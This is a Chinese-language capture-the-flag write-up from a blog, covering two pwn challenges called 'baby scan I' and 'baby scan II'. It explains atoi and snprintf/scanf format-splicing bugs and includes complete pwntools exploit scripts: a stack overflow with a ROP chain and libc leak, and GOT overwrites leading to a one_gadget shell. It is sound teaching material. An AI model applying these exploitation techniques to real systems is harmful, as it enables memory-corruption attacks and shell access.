baby scan I/II
baby scan I:
原题有给源码:
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char size[16], fmt[8], *buf;
printf("size: ");
scanf("%15s", size);
if (!isdigit(*size)) {
puts("[-] Invalid number");
return 1;
}
buf = (char*)alloca(atoi(size) + 1);
printf("data: ");
snprintf(fmt, sizeof(fmt), "%%%ss", size);
scanf(fmt, buf);
return 0;
}
__attribute__((constructor))
void setup(void) {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
alarm(180);
}
ida看大概是这样,其中alloca()函数值得关注。在调用 alloca的函数返回的时候, 它分配的内存会自动释放。也就是说, 用 alloca 分配的内存在栈上。
假如我开头送入的size是0x1000,可以看到此时的rsp与rbp也差了将近0x1000,也就是它几乎是在main函数的栈上即时分配的内存
还有一个函数值得关注,snprintf(),函数原型为int snprintf(char *str, size_t size, const char *format, ...)。
将可变个参数(...)按照format格式化成字符串,然后将其复制到str中。
(1) 如果格式化后的字符串长度 < size,则将此字符串全部复制到str中,并给其后添加一个字符串结束符('\0');
(2) 如果格式化后的字符串长度 >= size,则只将其中的(size-1)个字符复制到str中,并给其后添加一个字符串结束符('\0'),返回值为欲写入的字符串长度。
其中size定为8,format定为"%%ss",具体效果就是把nptr指向的字符串填到%和s中间,比如nptr=“123”,那么最后str里就是%123s,似乎是一个要限制输入的操作。
本题最大的漏洞在于atoi(),该函数在里面的数值超过int最大时,会返回负数,从而实现向栈下面分配内存,进而可以劫持。
还有一种方法是利用atoi()的截断特性,当遇到除数字外的字符时会立刻截断返回,假如我输入"0%%",那么atoi只会返回0。
在此我演示第二种方法的exp,即利用截断特性,将分配的内存尽量压低靠近返回地址,然后再利用snprintf的漏洞向分配内存读入超额的数据。
比如我在size:时送入"0s%99",此时要说明,这个snprintf在缝合好字符串后,会检查字符串的长度,比如我送入"0s%99",他应该会缝合成"%0s%99s",此时为7字节,小于szie的8,将正常变为str格式化字符串;若我送入""0s%991",此时缝合为“%0s%991s”,大于等于8字节,此时将切除最后的s,并替换为'\0',即变为“%0s%991”变成格式化字符串,这时读入可能会错误。
如果我送入的是"0s%99",其实缝合后的第一个%0s就是无限读入,此时就能随意溢出到返回地址进行泄露并布置返回main,然后下一次溢出填onegadget结束。
最开始我送入的是“1s%99”,这个最后缝合是“%1s%99s”,利用的是第二个%s的大量读入,也能成功溢出。
PS: isdigit()这个函数,只要开头是数字就能绕过
以下是EXP:
#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pickletools import stackslice
from time import sleep
from shutil import move
from pwn import *
context.terminal = ['tmux','splitw','-h']
context.arch='amd64'
#p=remote('65.21.255.31',13370)
binary="./chall"
p=process(binary)
context.log_level='debug'
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc=ELF('/home/lmy/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')
elf=ELF(binary)
s = lambda buf: p.send(buf)
sl = lambda buf: p.sendline(buf)
sa = lambda delim, buf: p.sendafter(delim, buf)
sal = lambda delim, buf: p.sendlineafter(delim, buf)
sh = lambda: p.interactive()
r = lambda n=None: p.recv(n)
ra = lambda t=tube.forever:p.recvall(t)
ru = lambda delim: p.recvuntil(delim)
rl = lambda: p.recvline()
rls = lambda n=2**20: p.recvlines(n)
it = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, ''))
uu64 = lambda data :u64(data.ljust(8, ''))
bp = lambda bkp :gdb.attach(p,'b *'+str(bkp))
pop_rdi=0x0401433
bp(0x0040134C)
pl='0s%99'#+'l'str(0x1000)
sal('ze: ',pl)
pl1=0x48*'\x64'+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x401216)#
sal('ta: ',pl1)
puts_addr=u64(p.recvuntil('\x7f',drop=False).ljust(8,'\x00'))
libc_base=puts_addr-libc.sym['puts']
one=[0xe3afe,0xe3b01,0xe3b04]
one=one[1]+libc_base
sal('ze: ',pl)
pl2=0x48*'\x64'+p64(one)
sal('ta: ',pl2)
it()
baby scan II
这题一样有源码
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char size[16], fmt[8], *buf;
printf("size: ");
scanf("%15s", size);
if (!isdigit(*size)) {
puts("[-] Invalid number");
exit(1);
}
buf = (char*)malloc(atoi(size) + 1);
printf("data: ");
snprintf(fmt, sizeof(fmt), "%%%ss", size);
scanf(fmt, buf);
exit(0);
}
__attribute__((constructor))
void setup(void) {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
alarm(180);
}
大部分跟第一题一样,但是把alloca()函数改成了malloc()函数,然后最后多了个exit()。
snprintf就不再赘述,效果和第一题一样。这题就得利用scanf的效果和snprintf的神奇拼接了
输入的size数据位于栈上,假如我size输入9$+6*"\x00"+p64(exit_got),可以看到栈上直接就有exit的got
由于snprintf遇到\x00就截断,我们可以组合利用,因为snprintf的截断,我送入的变成了“%9$s” ,对于scanf来说正好是exit_got所在栈的位置,此时就相当于一个任意地址写,到时候data读入时,就可以随意更改exit_got的内容为其他东西.
于是有思路:修改exit_got为main函数地址,然后修改atoi的got为printf的got(因为atoi的参数是可变的,若atoi变成printf,我们可以在输入时写%9$p这样的来泄露栈上的数据)此时可以泄露libc算出基址,得到onegadget。接着只需要再执行一次任意地址写,将exit_got改为onegadget即可。
PS:注意一次size只能读入15字节,p64()时最好用p64()[:7]来组合前面8字节
EXP:
#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pickletools import stackslice
from time import sleep
from shutil import move
from pwn import *
context.terminal = ['tmux','splitw','-h']
context.arch='amd64'
#p=remote('65.21.255.31',33710)
binary="./chall"
p=process(binary)
context.log_level='debug'
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc=ELF('/home/lmy/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')
elf=ELF(binary)
s = lambda buf: p.send(buf)
sl = lambda buf: p.sendline(buf)
sa = lambda delim, buf: p.sendafter(delim, buf)
sal = lambda delim, buf: p.sendlineafter(delim, buf)
sh = lambda: p.interactive()
r = lambda n=None: p.recv(n)
ra = lambda t=tube.forever:p.recvall(t)
ru = lambda delim: p.recvuntil(delim)
rl = lambda: p.recvline()
rls = lambda n=2**20: p.recvlines(n)
it = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, ''))
uu64 = lambda data :u64(data.ljust(8, ''))
bp = lambda bkp :gdb.attach(p,'b *'+str(bkp))
def write_in(addr,content):
pl='9$'+6*'\x00'+p64(addr)[:7]
sal('ze: ',pl)
pl1=p64(content)[:7]
sal('data: ',pl1)
bp(0x004012CA)
write_in(elf.got['exit'],0x000401256)
write_in(elf.got['atoi'],elf.plt['printf'])
pl='1-%9$p+'
sal('ze: ',pl)
ru('1-')
libc_base=int(p.recvuntil('+',drop=True),16)-116-libc.sym['malloc']
print hex(libc_base)
one=[0xe3afe,0xe3b01,0xe3b04]
one=one[1]+libc_base
print hex(one)
pl1='a'
sal('data: ',pl1)
write_in(elf.got['exit'],one)
it()
标签:libc,data,babyscan,got,lambda,buf,size
From: https://www.cnblogs.com/brain-Z/p/16801266.html